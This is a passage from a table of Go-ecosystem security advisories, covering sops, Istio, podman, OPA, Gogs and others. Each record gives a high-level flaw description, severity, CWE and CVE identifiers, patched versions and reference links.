This attack is only viable if an attacker is able to place a malicious binary within the directory you are running sops from. As well, this attack will only work when using `cmd.exe` or the Windows C library [SearchPath function](https://docs.microsoft.com/en-us/windows/win32/api/processenv/nf-processenv-searchpatha). This is a result of these Windows tools including `.` within their `PATH` by default.
**If you are using sops within untrusted directories on Windows via `cmd.exe`, please upgrade immediately**
**As well, if you have `.` within your default $PATH, please upgrade immediately.**
More information can be found on the official Go blog: https://blog.golang.org/path-security
### Patches
The problem has been resolved in v3.7.1
Now, if Windows users using cmd.exe run into this issue, a warning message will be printed:
`vim resolves to executable in current directory (.\vim.exe)`
### References
* https://blog.golang.org/path-security
### For more information
If you have any questions or comments about this advisory:
* Open a discussion in [sops](https://github.com/mozilla/sops/discussions) | null | 2021-05-20T16:50:13Z | 2021-05-20T16:50:34Z | LOW | null | null | {'https://github.com/mozilla/sops/security/advisories/GHSA-x5c7-x7m2-rhmf'} | null |
Go | GHSA-5rcv-m4m3-hfh7 | Infinite Loop in Go | Go version v0.3.3 of the x/text package fixes a vulnerability in encoding/unicode that could lead to the UTF-16 decoder entering an infinite loop, causing the program to crash or run out of memory. An attacker could provide a single byte to a UTF16 decoder instantiated with UseBOM or ExpectBOM to trigger an infinite loop if the String function on the Decoder is called, or the Decoder is passed to golang.org/x/text/transform.String. | {'CVE-2020-14040'} | 2021-05-12T14:54:58Z | 2021-05-18T18:34:35Z | HIGH | null | {'CWE-400', 'CWE-835'} | {'https://groups.google.com/forum/#!topic/golang-announce/bXVeAmGOqz0', 'https://github.com/golang/text/commit/23ae387dee1f90d29a23c0e87ee0b46038fbed0e', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TACQFZDPA7AUR6TRZBCX2RGRFSDYLI7O/', 'https://github.com/golang/go/issues/39491', 'https://nvd.nist.gov/vuln/detail/CVE-2020-14040', 'https://go-review.googlesource.com/c/text/+/238238', 'https://groups.google.com/g/golang-announce/c/bXVeAmGOqz0'} | null |
Go | GHSA-3cf2-x423-x582 | Exposure of Sensitive Information to an Unauthorized Actor and Origin Validation Error in podman | A flaw was found in podman. The `podman machine` function (used to create and manage Podman virtual machine containing a Podman process) spawns a `gvproxy` process on the host system. The `gvproxy` API is accessible on port 7777 on all IP addresses on the host. If that port is open on the host's firewall, an attacker can potentially use the `gvproxy` API to forward ports on the host to ports in the VM, making private services on the VM accessible to the network. This issue could be also used to interrupt the host's services by forwarding all ports to the VM. | {'CVE-2021-4024'} | 2022-02-09T18:28:05Z | 2022-01-06T21:12:50Z | MODERATE | null | {'CWE-200', 'CWE-346'} | {'https://github.com/containers/podman/releases/tag/v3.4.3', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QFFVJ6S3ZRMPDYB7KYAWEMDHXFZYQPU3/', 'https://github.com/containers/podman', 'https://bugzilla.redhat.com/show_bug.cgi?id=2026675,', 'https://nvd.nist.gov/vuln/detail/CVE-2021-4024'} | null |
Go | GHSA-856q-xv3c-7f2f | Unauthenticated control plane denial of service attack in Istio | ### Impact
The Istio control plane, `istiod`, is vulnerable to a request processing error, allowing a malicious attacker that sends a specially crafted message which results in the control plane crashing. This endpoint is served over TLS port 15012, but does not require any authentication from the attacker.
For simple installations, Istiod is typically only reachable from within the cluster, limiting the blast radius. However, for some deployments, especially [multicluster](https://istio.io/latest/docs/setup/install/multicluster/primary-remote/) topologies, this port is exposed over the public internet.
### Patches
- Istio 1.13.1 and above
- Istio 1.12.4 and above
- Istio 1.11.7 and above
### Workarounds
There are no effective workarounds, beyond upgrading. Limiting network access to Istiod to the minimal set of clients can help lessen the scope of the vulnerability to some extent.
### References
More details can be found in the [Istio Security Bulletin](https://istio.io/latest/news/security/istio-security-2022-003)
### For more information
If you have any questions or comments about this advisory, please email us at [istio-security-vulnerability-reports@googlegroups.com](mailto:istio-security-vulnerability-reports@googlegroups.com)
| {'CVE-2022-23635'} | 2022-02-25T15:38:52Z | 2022-02-23T14:59:08Z | HIGH | null | {'CWE-287'} | {'https://github.com/istio/istio/', 'https://github.com/istio/istio/commit/5f3b5ed958ae75156f8656fe7b3794f78e94db84', 'https://istio.io/latest/news/security/istio-security-2022-003', 'https://github.com/istio/istio/security/advisories/GHSA-856q-xv3c-7f2f', 'https://nvd.nist.gov/vuln/detail/CVE-2022-23635'} | null |
Go | GHSA-8459-6rc9-8vf8 | Path traversal in github.com/cloudflare/cfrpki/cmd/octorpki | ### Impact
In the case that a malicious TAL file is parsed pointing to a repository that provides a malicious ROA file which octorpki downloads, it is possible to bypass the current directory traversal mitigation to allow writing outside of the current directory.
### Patches
No patch release has been made | null | 2022-02-14T22:52:15Z | 2022-02-14T22:52:15Z | LOW | null | {'CWE-22'} | {'https://github.com/cloudflare/cfrpki/security/advisories/GHSA-8459-6rc9-8vf8'} | null |
Go | GHSA-m658-p24x-p74r | TLS certificate validation error in Mellium | In Mellium mellium.im/xmpp through 0.21.0, an attacker capable of spoofing DNS TXT records can redirect a WebSocket connection request to a server under their control without causing TLS certificate verification to fail. This occurs because the wrong host name is selected during this verification. | {'CVE-2022-24968'} | 2022-02-24T13:14:02Z | 2022-02-12T00:00:36Z | MODERATE | null | {'CWE-295'} | {'https://mellium.im/xmpp/', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24968', 'https://mellium.im/cve/cve-2022-24968/'} | null |
Go | GO-2021-0077 | null | A user can use a valid client certificate that contains a CommonName that matches a
valid RBAC username to authenticate themselves as that user, despite lacking the
required credentials. This may allow authentication bypass, but requires a certificate
that is issued by a CA trusted by the server.
| {'CVE-2018-16886'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/etcd-io/etcd/commit/bf9d0d8291dc71ecbfb2690612954e1a298154b2', 'https://github.com/etcd-io/etcd/pull/10366'} | null |
Go | GO-2021-0098 | null | Due to the standard library behavior of exec.LookPath on Windows a number of methods may
result in arbitary code execution when cloning or operating on untrusted Git repositories.
| {'CVE-2021-21237'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/git-lfs/git-lfs/commit/fc664697ed2c2081ee9633010de0a7f9debea72a', 'https://github.com/git-lfs/git-lfs/security/advisories/GHSA-cx3w-xqmc-84g5'} | null |
Go | GHSA-h8jc-jmrf-9h8f | Improper Authentication and Insecure Default Initialization of Resource in Argo API | As of v1.5.0, the default admin password is set to the argocd-server pod name. For insiders with access to the cluster or logs, this issue could be abused for privilege escalation, as Argo has privileged roles. A malicious insider is the most realistic threat, but pod names are not meant to be kept secret and could wind up just about anywhere. | {'CVE-2020-8828'} | 2021-07-26T21:14:45Z | 2021-07-26T21:19:27Z | HIGH | null | {'CWE-1188', 'CWE-287'} | {'https://argoproj.github.io/argo-cd/security_considerations/', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8828', 'https://github.com/argoproj/argo/releases', 'https://www.soluble.ai/blog/argo-cves-2020'} | null |
Go | GHSA-vpx7-vm66-qx8r | Path Traversal in github.com/unknwon/cae/zip | The ExtractTo function doesn't securely escape file paths in zip archives which include leading or non-leading "..". This allows an attacker to add or replace files system-wide. | {'CVE-2020-7664'} | 2022-01-04T19:33:01Z | 2021-05-18T20:31:06Z | HIGH | null | {'CWE-22'} | {'https://github.com/unknwon/cae/commit/07971c00a1bfd9dc171c3ad0bfab5b67c2287e11', 'https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMUNKNWONCAEZIP-570383', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7664', 'https://github.com/unknwon/cae/'} | null |
Go | GHSA-hcw3-j74m-qc58 | Incorrect Calculation in github.com/open-policy-agent/opa | ### Impact
Under certain conditions, pretty-printing an AST that contains synthetic nodes could change the logic of some statements by reordering array literals. Example of policies impacted are those that parse and compare web paths, see the example below.
**All of these** three conditions have to be met to create an adverse effect:
1. An AST of Rego had to be **created programmatically** such that it ends up containing terms without a location (such as wildcard variables).
2. The AST had to be **pretty-printed** using the `github.com/open-policy-agent/opa/format` package.
3. The result of the pretty-printing had to be **parsed and evaluated again** via an OPA instance using the bundles, or the Golang packages.
If any of these three conditions are not met, you are not affected.
Notably, all three would be true if using **optimized bundles**, i.e. bundles created with `opa build -O=1` or higher.
In that case, the optimizer would fulfil condition (1.), the result of that would be pretty-printed when writing the bundle to disk, fulfilling (2.). When the bundle was then used, we'd satisfy (3.).
#### Example
For example, the process outlined above could turn
this rule
```rego
hello {
["foo", _] = split(input.resource, "/")
}
```
into
```rego
hello {
[_, "foo"] = split(input.resource, "/")
}
```
with an input of
```rego
{
"resource": "foo/bar"
}
```
the result would change from
```rego
{
"hello": true
}
```
to (no default value of hello)
```rego
{}
```
The severity was determined to be *moderate* because the conditions are quite particular. Please note that its only the OPA bundle build process thats affected. An OPA sidecar of version 0.36.0 with an optimized bundle built by OPA 0.32.1 would not face this bug.
### Patches
Fixed in version 0.37.2.
### Workarounds
- Disabling optimization when creating bundles.
### References
- Introduced in https://github.com/open-policy-agent/opa/pull/3851
- Backported for the 0.33.1 patch release: https://github.com/open-policy-agent/opa/commit/bfd984ddf93ef2c4963a08d4fdadae0bcf1a3717
- Fixed by https://github.com/open-policy-agent/opa/commit/932e4ffc37a590ace79e9b75ca4340288c220239 and https://github.com/open-policy-agent/opa/commit/2bd8edab9e10e2dc9cf76ae8335ced0c224f3055
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Community Discussions](https://github.com/open-policy-agent/community/discussions/categories/opa-and-rego)
* Ask in Slack: https://slack.openpolicyagent.org/ | {'CVE-2022-23628'} | 2022-02-23T22:04:25Z | 2022-02-09T22:17:37Z | MODERATE | null | {'CWE-682'} | {'https://github.com/open-policy-agent/opa', 'https://github.com/open-policy-agent/opa/commit/bfd984ddf93ef2c4963a08d4fdadae0bcf1a3717', 'https://github.com/open-policy-agent/opa/pull/3851', 'https://github.com/open-policy-agent/opa/security/advisories/GHSA-hcw3-j74m-qc58', 'https://github.com/open-policy-agent/opa/commit/932e4ffc37a590ace79e9b75ca4340288c220239', 'https://nvd.nist.gov/vuln/detail/CVE-2022-23628'} | null |
Go | GHSA-58v3-j75h-xr49 | Improper Input Validation in libseccomp-golang | libseccomp-golang 0.9.0 and earlier incorrectly generates BPFs that OR multiple arguments rather than ANDing them. A process running under a restrictive seccomp filter that specified multiple syscall arguments could bypass intended access restrictions by specifying a single matching argument. | {'CVE-2017-18367'} | 2021-05-17T15:26:35Z | 2021-05-18T15:44:30Z | HIGH | null | {'CWE-284'} | {'https://nvd.nist.gov/vuln/detail/CVE-2017-18367', 'http://www.openwall.com/lists/oss-security/2019/04/25/6', 'https://github.com/seccomp/libseccomp-golang/commit/06e7a29f36a34b8cf419aeb87b979ee508e58f9e', 'https://lists.debian.org/debian-lts-announce/2020/08/msg00016.html', 'https://usn.ubuntu.com/4574-1/', 'https://access.redhat.com/errata/RHSA-2019:4087', 'https://access.redhat.com/errata/RHSA-2019:4090', 'https://github.com/seccomp/libseccomp-golang/issues/22'} | null |
Go | GHSA-5r2v-6gm6-vpvh | Insecure Permissions in Gogs | routes/api/v1/api.go in Gogs 0.11.86 lacks permission checks for routes: deploy keys, collaborators, and hooks. | {'CVE-2019-14544'} | 2021-05-17T16:36:54Z | 2021-05-18T17:33:58Z | CRITICAL | null | {'CWE-200'} | {'https://github.com/gogs/gogs/issues/5764', 'https://github.com/gogs/gogs/commit/c3af3ff1d0484de3bd789ee6c6e47f35d590e945', 'https://nvd.nist.gov/vuln/detail/CVE-2019-14544'} | null |
Go | GHSA-gw97-f6h8-gm94 | Email relay in Apache Traffic Control | An authenticated Apache Traffic Control Traffic Ops user with Portal-level privileges can send a request with a specially-crafted email subject to the /deliveryservices/request Traffic Ops endpoint to send an email, from the Traffic Ops server, with an arbitrary body to an arbitrary email address. Apache Traffic Control 5.1.x users should upgrade to 5.1.3 or 6.0.0. 4.1.x users should upgrade to 5.1.3. | {'CVE-2021-42009'} | 2021-10-20T17:07:20Z | 2021-10-13T18:55:04Z | MODERATE | null | {'CWE-20'} | {'http://www.openwall.com/lists/oss-security/2021/10/12/1', 'https://lists.apache.org/thread.html/re384fd0f44c6d230f31376153c6e8b59e4a669f927c1533d06d702af%40%3Cdev.trafficcontrol.apache.org%3E', 'https://github.com/apache/trafficcontrol', 'https://lists.apache.org/thread.html/rf0481b9e38ece1ece458d3ce7b2d671df819e3555597f31fc34f084e%40%3Ccommits.trafficcontrol.apache.org%3E', 'https://nvd.nist.gov/vuln/detail/CVE-2021-42009', 'https://lists.apache.org/thread.html/r7dfa9a89b39d06caeeeb7b5cdc41b3493a9b86cc6cfa059d3f349d87@%3Cannounce.apache.org%3E', 'https://lists.apache.org/thread.html/r78d471d8a4fd268a4c5ae6c47327c09d9d4b4467c31da2c97422febb@%3Cdev.trafficcontrol.apache.org%3E'} | null |
Go | GO-2021-0061 | null | Due to unbounded alias chasing, a maliciously crafted YAML file
can cause the system to consume significant system resources. If
parsing user input, this may be used as a denial of service vector.
| null | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/go-yaml/yaml/commit/bb4e33bf68bf89cad44d386192cbed201f35b241', 'https://github.com/go-yaml/yaml/pull/375'} | null |
Go | GHSA-p93v-m2r2-4387 | Denial of service via insufficient metadata validation | The PAM module for `fscrypt` through v0.3.2 doesn't adequately validate `fscrypt` metadata files, allowing users to create malicious metadata files that prevent other users from logging in. A local user can cause a denial of service by creating a `fscrypt` metadata file that prevents other users from logging into the system. We recommend upgrading to v0.3.3 or above.
For more details, see [CVE-2022-25327](https://www.cve.org/CVERecord?id=CVE-2022-25327). | null | 2022-03-01T21:05:01Z | 2022-03-01T21:05:01Z | MODERATE | null | null | {'github.com/google/fscrypt', 'https://github.com/google/fscrypt/security/advisories/GHSA-p93v-m2r2-4387'} | null |
Go | GHSA-h2x7-2ff6-v32p | Incorrect routing of some HTTP requests when using httpauth | ### Impact
Incorrect routing of some HTTP requests when using httpauth
### Patches
Upgrade to version 0.7.2 for fix
### Workarounds
None
### References
None
### For more information
If you have any questions or comments about this advisory:
* Email us at [nbosscher@blue-giraffe.ca](mailto:nbosscher@blue-giraffe.ca) | null | 2021-05-21T22:08:26Z | 2022-02-11T23:39:57Z | HIGH | null | null | {'https://github.com/ntbosscher/gobase/security/advisories/GHSA-h2x7-2ff6-v32p'} | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.